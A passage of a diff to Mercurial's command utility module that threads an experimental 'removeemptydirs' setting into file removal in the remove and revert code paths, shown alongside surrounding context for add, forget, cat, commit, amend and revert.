             def discard(self, value):
                 self.revs.discard(value)
                 self.set.discard(value)
 
         wanted = lazywantedset()
 
     # it might be worthwhile to do this in the iterator if the rev range
     # is descending and the prune args are all within that range
     for rev in opts.get('prune', ()):
         rev = repo[rev].rev()
         ff = _followfilter(repo)
         stop = min(revs[0], revs[-1])
         for x in xrange(rev, stop - 1, -1):
             if ff.match(x):
                 wanted = wanted - [x]
 
     # Now that wanted is correctly initialized, we can iterate over the
     # revision range, yielding only revisions in wanted.
     def iterate():
         if follow and match.always():
             ff = _followfilter(repo, onlyfirst=opts.get('follow_first'))
             def want(rev):
                 return ff.match(rev) and rev in wanted
         else:
             def want(rev):
                 return rev in wanted
 
         it = iter(revs)
         stopiteration = False
         for windowsize in increasingwindows():
             nrevs = []
             for i in xrange(windowsize):
                 rev = next(it, None)
                 if rev is None:
                     stopiteration = True
                     break
                 elif want(rev):
                     nrevs.append(rev)
             for rev in sorted(nrevs):
                 fns = fncache.get(rev)
                 ctx = change(rev)
                 if not fns:
                     def fns_generator():
                         if allfiles:
                             fiter = iter(ctx)
                         else:
                             fiter = ctx.files()
                         for f in fiter:
                             if match(f):
                                 yield f
                     fns = fns_generator()
                 prepare(ctx, fns)
             for rev in nrevs:
                 yield change(rev)
 
             if stopiteration:
                 break
 
     return iterate()
 
 def add(ui, repo, match, prefix, explicitonly, **opts):
     join = lambda f: os.path.join(prefix, f)
     bad = []
 
     badfn = lambda x, y: bad.append(x) or match.bad(x, y)
     names = []
     wctx = repo[None]
     cca = None
     abort, warn = scmutil.checkportabilityalert(ui)
     if abort or warn:
         cca = scmutil.casecollisionauditor(ui, abort, repo.dirstate)
 
     badmatch = matchmod.badmatch(match, badfn)
     dirstate = repo.dirstate
     # We don't want to just call wctx.walk here, since it would return a lot of
     # clean files, which we aren't interested in and takes time.
     for f in sorted(dirstate.walk(badmatch, subrepos=sorted(wctx.substate),
                                   unknown=True, ignored=False, full=False)):
         exact = match.exact(f)
         if exact or not explicitonly and f not in wctx and repo.wvfs.lexists(f):
             if cca:
                 cca(f)
             names.append(f)
             if ui.verbose or not exact:
                 ui.status(_('adding %s\n') % match.rel(f))
 
     for subpath in sorted(wctx.substate):
         sub = wctx.sub(subpath)
         try:
             submatch = matchmod.subdirmatcher(subpath, match)
             if opts.get(r'subrepos'):
                 bad.extend(sub.add(ui, submatch, prefix, False, **opts))
             else:
                 bad.extend(sub.add(ui, submatch, prefix, True, **opts))
         except error.LookupError:
             ui.status(_("skipping missing subrepository: %s\n")
                            % join(subpath))
 
     if not opts.get(r'dry_run'):
         rejected = wctx.add(names, prefix)
         bad.extend(f for f in rejected if f in match.files())
     return bad
 
 def addwebdirpath(repo, serverpath, webconf):
     webconf[serverpath] = repo.root
     repo.ui.debug('adding %s = %s\n' % (serverpath, repo.root))
 
     for r in repo.revs('filelog("path:.hgsub")'):
         ctx = repo[r]
         for subpath in ctx.substate:
             ctx.sub(subpath).addwebdirpath(serverpath, webconf)
 
 def forget(ui, repo, match, prefix, explicitonly, dryrun, interactive):
     if dryrun and interactive:
         raise error.Abort(_("cannot specify both --dry-run and --interactive"))
     join = lambda f: os.path.join(prefix, f)
     bad = []
     badfn = lambda x, y: bad.append(x) or match.bad(x, y)
     wctx = repo[None]
     forgot = []
 
     s = repo.status(match=matchmod.badmatch(match, badfn), clean=True)
     forget = sorted(s.modified + s.added + s.deleted + s.clean)
     if explicitonly:
         forget = [f for f in forget if match.exact(f)]
 
     for subpath in sorted(wctx.substate):
         sub = wctx.sub(subpath)
         try:
             submatch = matchmod.subdirmatcher(subpath, match)
             subbad, subforgot = sub.forget(submatch, prefix, dryrun=dryrun,
                                            interactive=interactive)
             bad.extend([subpath + '/' + f for f in subbad])
             forgot.extend([subpath + '/' + f for f in subforgot])
         except error.LookupError:
             ui.status(_("skipping missing subrepository: %s\n")
                            % join(subpath))
 
     if not explicitonly:
         for f in match.files():
             if f not in repo.dirstate and not repo.wvfs.isdir(f):
                 if f not in forgot:
                     if repo.wvfs.exists(f):
                         # Don't complain if the exact case match wasn't given.
                         # But don't do this until after checking 'forgot', so
                         # that subrepo files aren't normalized, and this op is
                         # purely from data cached by the status walk above.
                         if repo.dirstate.normalize(f) in repo.dirstate:
                             continue
                         ui.warn(_('not removing %s: '
                                   'file is already untracked\n')
                                 % match.rel(f))
                     bad.append(f)
 
     if interactive:
         responses = _('[Ynsa?]'
                       '$$ &Yes, forget this file'
                       '$$ &No, skip this file'
                       '$$ &Skip remaining files'
                       '$$ Include &all remaining files'
                       '$$ &? (display help)')
         for filename in forget[:]:
             r = ui.promptchoice(_('forget %s %s') % (filename, responses))
             if r == 4: # ?
                 while r == 4:
                     for c, t in ui.extractchoices(responses)[1]:
                         ui.write('%s - %s\n' % (c, encoding.lower(t)))
                     r = ui.promptchoice(_('forget %s %s') % (filename,
                                                                  responses))
             if r == 0: # yes
                 continue
             elif r == 1: # no
                 forget.remove(filename)
             elif r == 2: # Skip
                 fnindex = forget.index(filename)
                 del forget[fnindex:]
                 break
             elif r == 3: # All
                 break
 
     for f in forget:
         if ui.verbose or not match.exact(f) or interactive:
             ui.status(_('removing %s\n') % match.rel(f))
 
     if not dryrun:
         rejected = wctx.forget(forget, prefix)
         bad.extend(f for f in rejected if f in match.files())
         forgot.extend(f for f in forget if f not in rejected)
     return bad, forgot
 
 def files(ui, ctx, m, fm, fmt, subrepos):
     ret = 1
 
     for f in ctx.matches(m):
         fm.startitem()
         if ui.verbose:
             fc = ctx[f]
             fm.write('size flags', '% 10d % 1s ', fc.size(), fc.flags())
         fm.data(abspath=f)
         fm.write('path', fmt, m.rel(f))
         ret = 0
 
     for subpath in sorted(ctx.substate):
         submatch = matchmod.subdirmatcher(subpath, m)
         if (subrepos or m.exact(subpath) or any(submatch.files())):
             sub = ctx.sub(subpath)
             try:
                 recurse = m.exact(subpath) or subrepos
                 if sub.printfiles(ui, submatch, fm, fmt, recurse) == 0:
                     ret = 0
             except error.LookupError:
                 ui.status(_("skipping missing subrepository: %s\n")
                                % m.abs(subpath))
 
     return ret
 
 def remove(ui, repo, m, prefix, after, force, subrepos, dryrun, warnings=None):
     join = lambda f: os.path.join(prefix, f)
     ret = 0
     s = repo.status(match=m, clean=True)
     modified, added, deleted, clean = s[0], s[1], s[3], s[6]
 
     wctx = repo[None]
 
     if warnings is None:
         warnings = []
         warn = True
     else:
         warn = False
 
     subs = sorted(wctx.substate)
     progress = ui.makeprogress(_('searching'), total=len(subs),
                                unit=_('subrepos'))
     for subpath in subs:
         submatch = matchmod.subdirmatcher(subpath, m)
         if subrepos or m.exact(subpath) or any(submatch.files()):
             progress.increment()
             sub = wctx.sub(subpath)
             try:
                 if sub.removefiles(submatch, prefix, after, force, subrepos,
                                    dryrun, warnings):
                     ret = 1
             except error.LookupError:
                 warnings.append(_("skipping missing subrepository: %s\n")
                                % join(subpath))
     progress.complete()
 
     # warn about failure to delete explicit files/dirs
     deleteddirs = util.dirs(deleted)
     files = m.files()
     progress = ui.makeprogress(_('deleting'), total=len(files),
                                unit=_('files'))
     for f in files:
         def insubrepo():
             for subpath in wctx.substate:
                 if f.startswith(subpath + '/'):
                     return True
             return False
 
         progress.increment()
         isdir = f in deleteddirs or wctx.hasdir(f)
         if (f in repo.dirstate or isdir or f == '.'
             or insubrepo() or f in subs):
             continue
 
         if repo.wvfs.exists(f):
             if repo.wvfs.isdir(f):
                 warnings.append(_('not removing %s: no tracked files\n')
                         % m.rel(f))
             else:
                 warnings.append(_('not removing %s: file is untracked\n')
                         % m.rel(f))
         # missing files will generate a warning elsewhere
         ret = 1
     progress.complete()
 
     if force:
         list = modified + deleted + clean + added
     elif after:
         list = deleted
         remaining = modified + added + clean
         progress = ui.makeprogress(_('skipping'), total=len(remaining),
                                    unit=_('files'))
         for f in remaining:
             progress.increment()
             if ui.verbose or (f in files):
                 warnings.append(_('not removing %s: file still exists\n')
                                 % m.rel(f))
             ret = 1
         progress.complete()
     else:
         list = deleted + clean
         progress = ui.makeprogress(_('skipping'),
                                    total=(len(modified) + len(added)),
                                    unit=_('files'))
         for f in modified:
             progress.increment()
             warnings.append(_('not removing %s: file is modified (use -f'
                       ' to force removal)\n') % m.rel(f))
             ret = 1
         for f in added:
             progress.increment()
             warnings.append(_("not removing %s: file has been marked for add"
                       " (use 'hg forget' to undo add)\n") % m.rel(f))
             ret = 1
         progress.complete()
 
     list = sorted(list)
     progress = ui.makeprogress(_('deleting'), total=len(list),
                                unit=_('files'))
     for f in list:
         if ui.verbose or not m.exact(f):
             progress.increment()
             ui.status(_('removing %s\n') % m.rel(f))
     progress.complete()
 
     if not dryrun:
         with repo.wlock():
             if not after:
                 for f in list:
                     if f in added:
                         continue # we never unlink added files on remove
-                    repo.wvfs.unlinkpath(f, ignoremissing=True)
+                    rmdir = repo.ui.configbool('experimental',
+                                               'removeemptydirs')
+                    repo.wvfs.unlinkpath(f, ignoremissing=True, rmdir=rmdir)
             repo[None].forget(list)
 
     if warn:
         for warning in warnings:
             ui.warn(warning)
 
     return ret
 
 def _updatecatformatter(fm, ctx, matcher, path, decode):
     """Hook for adding data to the formatter used by ``hg cat``.
 
     Extensions (e.g., lfs) can wrap this to inject keywords/data, but must call
     this method first."""
     data = ctx[path].data()
     if decode:
         data = ctx.repo().wwritedata(path, data)
     fm.startitem()
     fm.write('data', '%s', data)
     fm.data(abspath=path, path=matcher.rel(path))
 
 def cat(ui, repo, ctx, matcher, basefm, fntemplate, prefix, **opts):
     err = 1
     opts = pycompat.byteskwargs(opts)
 
     def write(path):
         filename = None
         if fntemplate:
             filename = makefilename(ctx, fntemplate,
                                     pathname=os.path.join(prefix, path))
             # attempt to create the directory if it does not already exist
             try:
                 os.makedirs(os.path.dirname(filename))
             except OSError:
                 pass
         with formatter.maybereopen(basefm, filename) as fm:
             _updatecatformatter(fm, ctx, matcher, path, opts.get('decode'))
 
     # Automation often uses hg cat on single files, so special case it
     # for performance to avoid the cost of parsing the manifest.
     if len(matcher.files()) == 1 and not matcher.anypats():
         file = matcher.files()[0]
         mfl = repo.manifestlog
         mfnode = ctx.manifestnode()
         try:
             if mfnode and mfl[mfnode].find(file)[0]:
                 scmutil.prefetchfiles(repo, [ctx.rev()], matcher)
                 write(file)
                 return 0
         except KeyError:
             pass
 
     scmutil.prefetchfiles(repo, [ctx.rev()], matcher)
 
     for abs in ctx.walk(matcher):
         write(abs)
         err = 0
 
     for subpath in sorted(ctx.substate):
         sub = ctx.sub(subpath)
         try:
             submatch = matchmod.subdirmatcher(subpath, matcher)
 
             if not sub.cat(submatch, basefm, fntemplate,
                            os.path.join(prefix, sub._path),
                            **pycompat.strkwargs(opts)):
                 err = 0
         except error.RepoLookupError:
             ui.status(_("skipping missing subrepository: %s\n")
                            % os.path.join(prefix, subpath))
 
     return err
 
 def commit(ui, repo, commitfunc, pats, opts):
     '''commit the specified files or all outstanding changes'''
     date = opts.get('date')
     if date:
         opts['date'] = dateutil.parsedate(date)
     message = logmessage(ui, opts)
     matcher = scmutil.match(repo[None], pats, opts)
 
     dsguard = None
     # extract addremove carefully -- this function can be called from a command
     # that doesn't support addremove
     if opts.get('addremove'):
         dsguard = dirstateguard.dirstateguard(repo, 'commit')
     with dsguard or util.nullcontextmanager():
         if dsguard:
             if scmutil.addremove(repo, matcher, "", opts) != 0:
                 raise error.Abort(
                     _("failed to mark all new/missing files as added/removed"))
 
         return commitfunc(ui, repo, message, matcher, opts)
 
 def samefile(f, ctx1, ctx2):
     if f in ctx1.manifest():
         a = ctx1.filectx(f)
         if f in ctx2.manifest():
             b = ctx2.filectx(f)
             return (not a.cmp(b)
                     and a.flags() == b.flags())
         else:
             return False
     else:
         return f not in ctx2.manifest()
 
 def amend(ui, repo, old, extra, pats, opts):
     # avoid cycle context -> subrepo -> cmdutil
     from . import context
 
     # amend will reuse the existing user if not specified, but the obsolete
     # marker creation requires that the current user's name is specified.
     if obsolete.isenabled(repo, obsolete.createmarkersopt):
         ui.username() # raise exception if username not set
 
     ui.note(_('amending changeset %s\n') % old)
     base = old.p1()
 
     with repo.wlock(), repo.lock(), repo.transaction('amend'):
         # Participating changesets:
         #
         # wctx     o - workingctx that contains changes from working copy
         #          |   to go into amending commit
         #          |
         # old      o - changeset to amend
         #          |
         # base     o - first parent of the changeset to amend
         wctx = repo[None]
 
         # Copy to avoid mutating input
         extra = extra.copy()
         # Update extra dict from amended commit (e.g. to preserve graft
         # source)
         extra.update(old.extra())
 
         # Also update it from the from the wctx
         extra.update(wctx.extra())
 
         user = opts.get('user') or old.user()
         date = opts.get('date') or old.date()
 
         # Parse the date to allow comparison between date and old.date()
         date = dateutil.parsedate(date)
 
         if len(old.parents()) > 1:
             # ctx.files() isn't reliable for merges, so fall back to the
             # slower repo.status() method
             files = set([fn for st in repo.status(base, old)[:3]
                          for fn in st])
         else:
             files = set(old.files())
 
         # add/remove the files to the working copy if the "addremove" option
         # was specified.
         matcher = scmutil.match(wctx, pats, opts)
         if (opts.get('addremove')
             and scmutil.addremove(repo, matcher, "", opts)):
             raise error.Abort(
                 _("failed to mark all new/missing files as added/removed"))
 
         # Check subrepos. This depends on in-place wctx._status update in
         # subrepo.precommit(). To minimize the risk of this hack, we do
         # nothing if .hgsub does not exist.
         if '.hgsub' in wctx or '.hgsub' in old:
             subs, commitsubs, newsubstate = subrepoutil.precommit(
                 ui, wctx, wctx._status, matcher)
             # amend should abort if commitsubrepos is enabled
             assert not commitsubs
             if subs:
                 subrepoutil.writestate(repo, newsubstate)
 
         ms = mergemod.mergestate.read(repo)
         mergeutil.checkunresolved(ms)
 
         filestoamend = set(f for f in wctx.files() if matcher(f))
 
         changes = (len(filestoamend) > 0)
         if changes:
             # Recompute copies (avoid recording a -> b -> a)
             copied = copies.pathcopies(base, wctx, matcher)
             if old.p2:
                 copied.update(copies.pathcopies(old.p2(), wctx, matcher))
 
             # Prune files which were reverted by the updates: if old
             # introduced file X and the file was renamed in the working
             # copy, then those two files are the same and
             # we can discard X from our list of files. Likewise if X
             # was removed, it's no longer relevant. If X is missing (aka
             # deleted), old X must be preserved.
             files.update(filestoamend)
             files = [f for f in files if (not samefile(f, wctx, base)
                                           or f in wctx.deleted())]
 
             def filectxfn(repo, ctx_, path):
                 try:
                     # If the file being considered is not amongst the files
                     # to be amended, we should return the file context from the
                     # old changeset. This avoids issues when only some files in
                     # the working copy are being amended but there are also
                     # changes to other files from the old changeset.
                     if path not in filestoamend:
                         return old.filectx(path)
 
                     # Return None for removed files.
                     if path in wctx.removed():
                         return None
 
                     fctx = wctx[path]
                     flags = fctx.flags()
                     mctx = context.memfilectx(repo, ctx_,
                                               fctx.path(), fctx.data(),
                                               islink='l' in flags,
                                               isexec='x' in flags,
                                               copied=copied.get(path))
                     return mctx
                 except KeyError:
                     return None
         else:
             ui.note(_('copying changeset %s to %s\n') % (old, base))
 
             # Use version of files as in the old cset
             def filectxfn(repo, ctx_, path):
                 try:
                     return old.filectx(path)
                 except KeyError:
                     return None
 
         # See if we got a message from -m or -l, if not, open the editor with
         # the message of the changeset to amend.
         message = logmessage(ui, opts)
 
         editform = mergeeditform(old, 'commit.amend')
         editor = getcommiteditor(editform=editform,
                                  **pycompat.strkwargs(opts))
 
         if not message:
             editor = getcommiteditor(edit=True, editform=editform)
             message = old.description()
 
         pureextra = extra.copy()
         extra['amend_source'] = old.hex()
 
         new = context.memctx(repo,
                              parents=[base.node(), old.p2().node()],
                              text=message,
                              files=files,
                              filectxfn=filectxfn,
                              user=user,
                              date=date,
                              extra=extra,
                              editor=editor)
 
         newdesc = changelog.stripdesc(new.description())
         if ((not changes)
             and newdesc == old.description()
             and user == old.user()
             and date == old.date()
             and pureextra == old.extra()):
             # nothing changed. continuing here would create a new node
             # anyway because of the amend_source noise.
             #
             # This not what we expect from amend.
             return old.node()
 
         commitphase = None
         if opts.get('secret'):
             commitphase = phases.secret
         newid = repo.commitctx(new)
 
         # Reroute the working copy parent to the new changeset
         repo.setparents(newid, nullid)
         mapping = {old.node(): (newid,)}
         obsmetadata = None
         if opts.get('note'):
             obsmetadata = {'note': opts['note']}
         scmutil.cleanupnodes(repo, mapping, 'amend', metadata=obsmetadata,
                              fixphase=True, targetphase=commitphase)
 
         # Fixing the dirstate because localrepo.commitctx does not update
         # it. This is rather convenient because we did not need to update
         # the dirstate for all the files in the new commit which commitctx
         # could have done if it updated the dirstate. Now, we can
         # selectively update the dirstate only for the amended files.
         dirstate = repo.dirstate
 
         # Update the state of the files which were added and
         # and modified in the amend to "normal" in the dirstate.
         normalfiles = set(wctx.modified() + wctx.added()) & filestoamend
         for f in normalfiles:
             dirstate.normal(f)
 
         # Update the state of files which were removed in the amend
         # to "removed" in the dirstate.
         removedfiles = set(wctx.removed()) & filestoamend
         for f in removedfiles:
             dirstate.drop(f)
 
     return newid
 
 def commiteditor(repo, ctx, subs, editform=''):
     if ctx.description():
         return ctx.description()
     return commitforceeditor(repo, ctx, subs, editform=editform,
                              unchangedmessagedetection=True)
 
 def commitforceeditor(repo, ctx, subs, finishdesc=None, extramsg=None,
                       editform='', unchangedmessagedetection=False):
     if not extramsg:
         extramsg = _("Leave message empty to abort commit.")
 
     forms = [e for e in editform.split('.') if e]
     forms.insert(0, 'changeset')
     templatetext = None
     while forms:
         ref = '.'.join(forms)
         if repo.ui.config('committemplate', ref):
             templatetext = committext = buildcommittemplate(
                 repo, ctx, subs, extramsg, ref)
             break
         forms.pop()
     else:
         committext = buildcommittext(repo, ctx, subs, extramsg)
 
     # run editor in the repository root
     olddir = pycompat.getcwd()
     os.chdir(repo.root)
 
     # make in-memory changes visible to external process
     tr = repo.currenttransaction()
     repo.dirstate.write(tr)
     pending = tr and tr.writepending() and repo.root
 
     editortext = repo.ui.edit(committext, ctx.user(), ctx.extra(),
                               editform=editform, pending=pending,
                               repopath=repo.path, action='commit')
     text = editortext
 
     # strip away anything below this special string (used for editors that want
     # to display the diff)
     stripbelow = re.search(_linebelow, text, flags=re.MULTILINE)
     if stripbelow:
         text = text[:stripbelow.start()]
 
     text = re.sub("(?m)^HG:.*(\n|$)", "", text)
     os.chdir(olddir)
 
     if finishdesc:
         text = finishdesc(text)
     if not text.strip():
         raise error.Abort(_("empty commit message"))
     if unchangedmessagedetection and editortext == templatetext:
         raise error.Abort(_("commit message unchanged"))
 
     return text
 
 def buildcommittemplate(repo, ctx, subs, extramsg, ref):
     ui = repo.ui
     spec = formatter.templatespec(ref, None, None)
     t = logcmdutil.changesettemplater(ui, repo, spec)
     t.t.cache.update((k, templater.unquotestring(v))
                      for k, v in repo.ui.configitems('committemplate'))
 
     if not extramsg:
         extramsg = '' # ensure that extramsg is string
 
     ui.pushbuffer()
     t.show(ctx, extramsg=extramsg)
     return ui.popbuffer()
 
 def hgprefix(msg):
     return "\n".join(["HG: %s" % a for a in msg.split("\n") if a])
 
 def buildcommittext(repo, ctx, subs, extramsg):
     edittext = []
     modified, added, removed = ctx.modified(), ctx.added(), ctx.removed()
     if ctx.description():
         edittext.append(ctx.description())
     edittext.append("")
     edittext.append("") # Empty line between message and comments.
     edittext.append(hgprefix(_("Enter commit message."
                       "  Lines beginning with 'HG:' are removed.")))
     edittext.append(hgprefix(extramsg))
     edittext.append("HG: --")
     edittext.append(hgprefix(_("user: %s") % ctx.user()))
     if ctx.p2():
         edittext.append(hgprefix(_("branch merge")))
     if ctx.branch():
         edittext.append(hgprefix(_("branch '%s'") % ctx.branch()))
     if bookmarks.isactivewdirparent(repo):
         edittext.append(hgprefix(_("bookmark '%s'") % repo._activebookmark))
     edittext.extend([hgprefix(_("subrepo %s") % s) for s in subs])
     edittext.extend([hgprefix(_("added %s") % f) for f in added])
     edittext.extend([hgprefix(_("changed %s") % f) for f in modified])
     edittext.extend([hgprefix(_("removed %s") % f) for f in removed])
     if not added and not modified and not removed:
         edittext.append(hgprefix(_("no files changed")))
     edittext.append("")
 
     return "\n".join(edittext)
 
 def commitstatus(repo, node, branch, bheads=None, opts=None):
     if opts is None:
         opts = {}
     ctx = repo[node]
     parents = ctx.parents()
 
     if (not opts.get('amend') and bheads and node not in bheads and not
         [x for x in parents if x.node() in bheads and x.branch() == branch]):
         repo.ui.status(_('created new head\n'))
         # The message is not printed for initial roots. For the other
         # changesets, it is printed in the following situations:
         #
         # Par column: for the 2 parents with ...
         #   N: null or no parent
         #   B: parent is on another named branch
         #   C: parent is a regular non head changeset
         #   H: parent was a branch head of the current branch
         # Msg column: whether we print "created new head" message
         # In the following, it is assumed that there already exists some
         # initial branch heads of the current branch, otherwise nothing is
         # printed anyway.
         #
         # Par Msg Comment
         # N N  y  additional topo root
         #
         # B N  y  additional branch root
         # C N  y  additional topo head
         # H N  n  usual case
         #
         # B B  y  weird additional branch root
         # C B  y  branch merge
         # H B  n  merge with named branch
         #
         # C C  y  additional head from merge
         # C H  n  merge with a head
         #
         # H H  n  head merge: head count decreases
 
     if not opts.get('close_branch'):
         for r in parents:
             if r.closesbranch() and r.branch() == branch:
                 repo.ui.status(_('reopening closed branch head %d\n') % r.rev())
 
     if repo.ui.debugflag:
         repo.ui.write(_('committed changeset %d:%s\n') % (ctx.rev(), ctx.hex()))
     elif repo.ui.verbose:
         repo.ui.write(_('committed changeset %d:%s\n') % (ctx.rev(), ctx))
 
 def postcommitstatus(repo, pats, opts):
     return repo.status(match=scmutil.match(repo[None], pats, opts))
 
 def revert(ui, repo, ctx, parents, *pats, **opts):
     opts = pycompat.byteskwargs(opts)
     parent, p2 = parents
     node = ctx.node()
 
     mf = ctx.manifest()
     if node == p2:
         parent = p2
 
     # need all matching names in dirstate and manifest of target rev,
     # so have to walk both. do not print errors if files exist in one
     # but not other. in both cases, filesets should be evaluated against
     # workingctx to get consistent result (issue4497). this means 'set:**'
     # cannot be used to select missing files from target rev.
 
     # `names` is a mapping for all elements in working copy and target revision
     # The mapping is in the form:
     #   <asb path in repo> -> (<path from CWD>, <exactly specified by matcher?>)
     names = {}
 
     with repo.wlock():
         ## filling of the `names` mapping
         # walk dirstate to fill `names`
 
         interactive = opts.get('interactive', False)
         wctx = repo[None]
         m = scmutil.match(wctx, pats, opts)
 
         # we'll need this later
         targetsubs = sorted(s for s in wctx.substate if m(s))
 
         if not m.always():
             matcher = matchmod.badmatch(m, lambda x, y: False)
             for abs in wctx.walk(matcher):
                 names[abs] = m.rel(abs), m.exact(abs)
 
             # walk target manifest to fill `names`
 
             def badfn(path, msg):
                 if path in names:
                     return
                 if path in ctx.substate:
                     return
                 path_ = path + '/'
                 for f in names:
                     if f.startswith(path_):
                         return
                 ui.warn("%s: %s\n" % (m.rel(path), msg))
 
             for abs in ctx.walk(matchmod.badmatch(m, badfn)):
                 if abs not in names:
                     names[abs] = m.rel(abs), m.exact(abs)
 
             # Find status of all file in `names`.
             m = scmutil.matchfiles(repo, names)
 
             changes = repo.status(node1=node, match=m,
                                   unknown=True, ignored=True, clean=True)
         else:
             changes = repo.status(node1=node, match=m)
             for kind in changes:
                 for abs in kind:
                     names[abs] = m.rel(abs), m.exact(abs)
 
             m = scmutil.matchfiles(repo, names)
 
         modified = set(changes.modified)
         added    = set(changes.added)
         removed  = set(changes.removed)
         _deleted = set(changes.deleted)
         unknown  = set(changes.unknown)
         unknown.update(changes.ignored)
         clean    = set(changes.clean)
         modadded = set()
 
         # We need to account for the state of the file in the dirstate,
         # even when we revert against something else than parent. This will
         # slightly alter the behavior of revert (doing back up or not, delete
         # or just forget etc).
         if parent == node:
             dsmodified = modified
             dsadded = added
             dsremoved = removed
             # store all local modifications, useful later for rename detection
             localchanges = dsmodified | dsadded
             modified, added, removed = set(), set(), set()
         else:
             changes = repo.status(node1=parent, match=m)
             dsmodified = set(changes.modified)
             dsadded    = set(changes.added)
             dsremoved  = set(changes.removed)
             # store all local modifications, useful later for rename detection
             localchanges = dsmodified | dsadded
 
             # only take into account for removes between wc and target
             clean |= dsremoved - removed
             dsremoved &= removed
             # distinct between dirstate remove and other
             removed -= dsremoved
 
             modadded = added & dsmodified
             added -= modadded
 
             # tell newly modified apart.
             dsmodified &= modified
             dsmodified |= modified & dsadded # dirstate added may need backup
             modified -= dsmodified
 
             # We need to wait for some post-processing to update this set
             # before making the distinction. The dirstate will be used for
             # that purpose.
             dsadded = added
 
         # in case of merge, files that are actually added can be reported as
         # modified, we need to post process the result
         if p2 != nullid:
             mergeadd = set(dsmodified)
             for path in dsmodified:
                 if path in mf:
                     mergeadd.remove(path)
             dsadded |= mergeadd
             dsmodified -= mergeadd
 
         # if f is a rename, update `names` to also revert the source
         cwd = repo.getcwd()
         for f in localchanges:
             src = repo.dirstate.copied(f)
             # XXX should we check for rename down to target node?
             if src and src not in names and repo.dirstate[src] == 'r':
                 dsremoved.add(src)
                 names[src] = (repo.pathto(src, cwd), True)
 
         # determine the exact nature of the deleted changesets
         deladded = set(_deleted)
         for path in _deleted:
             if path in mf:
                 deladded.remove(path)
         deleted = _deleted - deladded
 
         # distinguish between file to forget and the other
         added = set()
         for abs in dsadded:
             if repo.dirstate[abs] != 'a':
                 added.add(abs)
         dsadded -= added
 
         for abs in deladded:
             if repo.dirstate[abs] == 'a':
                 dsadded.add(abs)
         deladded -= dsadded
 
         # For files marked as removed, we check if an unknown file is present at
         # the same path. If a such file exists it may need to be backed up.
         # Making the distinction at this stage helps have simpler backup
         # logic.
         removunk = set()
         for abs in removed:
             target = repo.wjoin(abs)
             if os.path.lexists(target):
                 removunk.add(abs)
         removed -= removunk
 
         dsremovunk = set()
         for abs in dsremoved:
             target = repo.wjoin(abs)
             if os.path.lexists(target):
                 dsremovunk.add(abs)
         dsremoved -= dsremovunk
 
         # action to be actually performed by revert
         # (<list of file>, message>) tuple
         actions = {'revert': ([], _('reverting %s\n')),
                    'add': ([], _('adding %s\n')),
                    'remove': ([], _('removing %s\n')),
                    'drop': ([], _('removing %s\n')),
                    'forget': ([], _('forgetting %s\n')),
                    'undelete': ([], _('undeleting %s\n')),
                    'noop': (None, _('no changes needed to %s\n')),
                    'unknown': (None, _('file not managed: %s\n')),
                   }
 
         # "constant" that convey the backup strategy.
         # All set to `discard` if `no-backup` is set do avoid checking
         # no_backup lower in the code.
         # These values are ordered for comparison purposes
         backupinteractive = 3 # do backup if interactively modified
         backup = 2  # unconditionally do backup
         check = 1   # check if the existing file differs from target
         discard = 0 # never do backup
         if opts.get('no_backup'):
             backupinteractive = backup = check = discard
         if interactive:
             dsmodifiedbackup = backupinteractive
         else:
             dsmodifiedbackup = backup
         tobackup = set()
 
         backupanddel = actions['remove']
         if not opts.get('no_backup'):
             backupanddel = actions['drop']
 
         disptable = (
             # dispatch table:
             #   file state
             #   action
             #   make backup
 
             ## Sets that results that will change file on disk
             # Modified compared to target, no local change
             (modified,      actions['revert'],   discard),
             # Modified compared to target, but local file is deleted
             (deleted,       actions['revert'],   discard),
             # Modified compared to target, local change
             (dsmodified,    actions['revert'],   dsmodifiedbackup),
             # Added since target
             (added,         actions['remove'],   discard),
             # Added in working directory
             (dsadded,       actions['forget'],   discard),
             # Added since target, have local modification
             (modadded,      backupanddel,        backup),
             # Added since target but file is missing in working directory
             (deladded,      actions['drop'],   discard),
             # Removed since  target, before working copy parent
             (removed,       actions['add'],      discard),
             # Same as `removed` but an unknown file exists at the same path
             (removunk,      actions['add'],      check),
             # Removed since targe, marked as such in working copy parent
             (dsremoved,     actions['undelete'], discard),
             # Same as `dsremoved` but an unknown file exists at the same path
             (dsremovunk,    actions['undelete'], check),
             ## the following sets does not result in any file changes
             # File with no modification
             (clean,         actions['noop'],     discard),
             # Existing file, not tracked anywhere
             (unknown,       actions['unknown'],  discard),
             )
 
         for abs, (rel, exact) in sorted(names.items()):
             # target file to be touch on disk (relative to cwd)
             target = repo.wjoin(abs)
             # search the entry in the dispatch table.
             # if the file is in any of these sets, it was touched in the working
             # directory parent and we are sure it needs to be reverted.
             for table, (xlist, msg), dobackup in disptable:
                 if abs not in table:
                     continue
                 if xlist is not None:
                     xlist.append(abs)
                     if dobackup:
                         # If in interactive mode, don't automatically create
                         # .orig files (issue4793)
                         if dobackup == backupinteractive:
                             tobackup.add(abs)
                         elif (backup <= dobackup or wctx[abs].cmp(ctx[abs])):
                             bakname = scmutil.origpath(ui, repo, rel)
                             ui.note(_('saving current version of %s as %s\n') %
                                     (rel, bakname))
                             if not opts.get('dry_run'):
                                 if interactive:
                                     util.copyfile(target, bakname)
                                 else:
                                     util.rename(target, bakname)
                     if ui.verbose or not exact:
                         if not isinstance(msg, bytes):
                             msg = msg(abs)
                         ui.status(msg % rel)
                 elif exact:
                     ui.warn(msg % rel)
                 break
 
         if not opts.get('dry_run'):
             needdata = ('revert', 'add', 'undelete')
             oplist = [actions[name][0] for name in needdata]
             prefetch = scmutil.prefetchfiles
             matchfiles = scmutil.matchfiles
             prefetch(repo, [ctx.rev()],
                      matchfiles(repo,
                                 [f for sublist in oplist for f in sublist]))
             _performrevert(repo, parents, ctx, actions, interactive, tobackup)
 
         if targetsubs:
             # Revert the subrepos on the revert list
             for sub in targetsubs:
                 try:
                     wctx.sub(sub).revert(ctx.substate[sub], *pats,
                                          **pycompat.strkwargs(opts))
                 except KeyError:
                     raise error.Abort("subrepository '%s' does not exist in %s!"
                                       % (sub, short(ctx.node())))
 
 def _performrevert(repo, parents, ctx, actions, interactive=False,
                    tobackup=None):
     """function that actually perform all the actions computed for revert
 
     This is an independent function to let extension to plug in and react to
     the imminent revert.
 
     Make sure you have the working directory locked when calling this function.
     """
     parent, p2 = parents
     node = ctx.node()
     excluded_files = []
 
     def checkout(f):
         fc = ctx[f]
         repo.wwrite(f, fc.data(), fc.flags())
 
     def doremove(f):
         try:
-            repo.wvfs.unlinkpath(f)
+            rmdir = repo.ui.configbool('experimental', 'removeemptydirs')
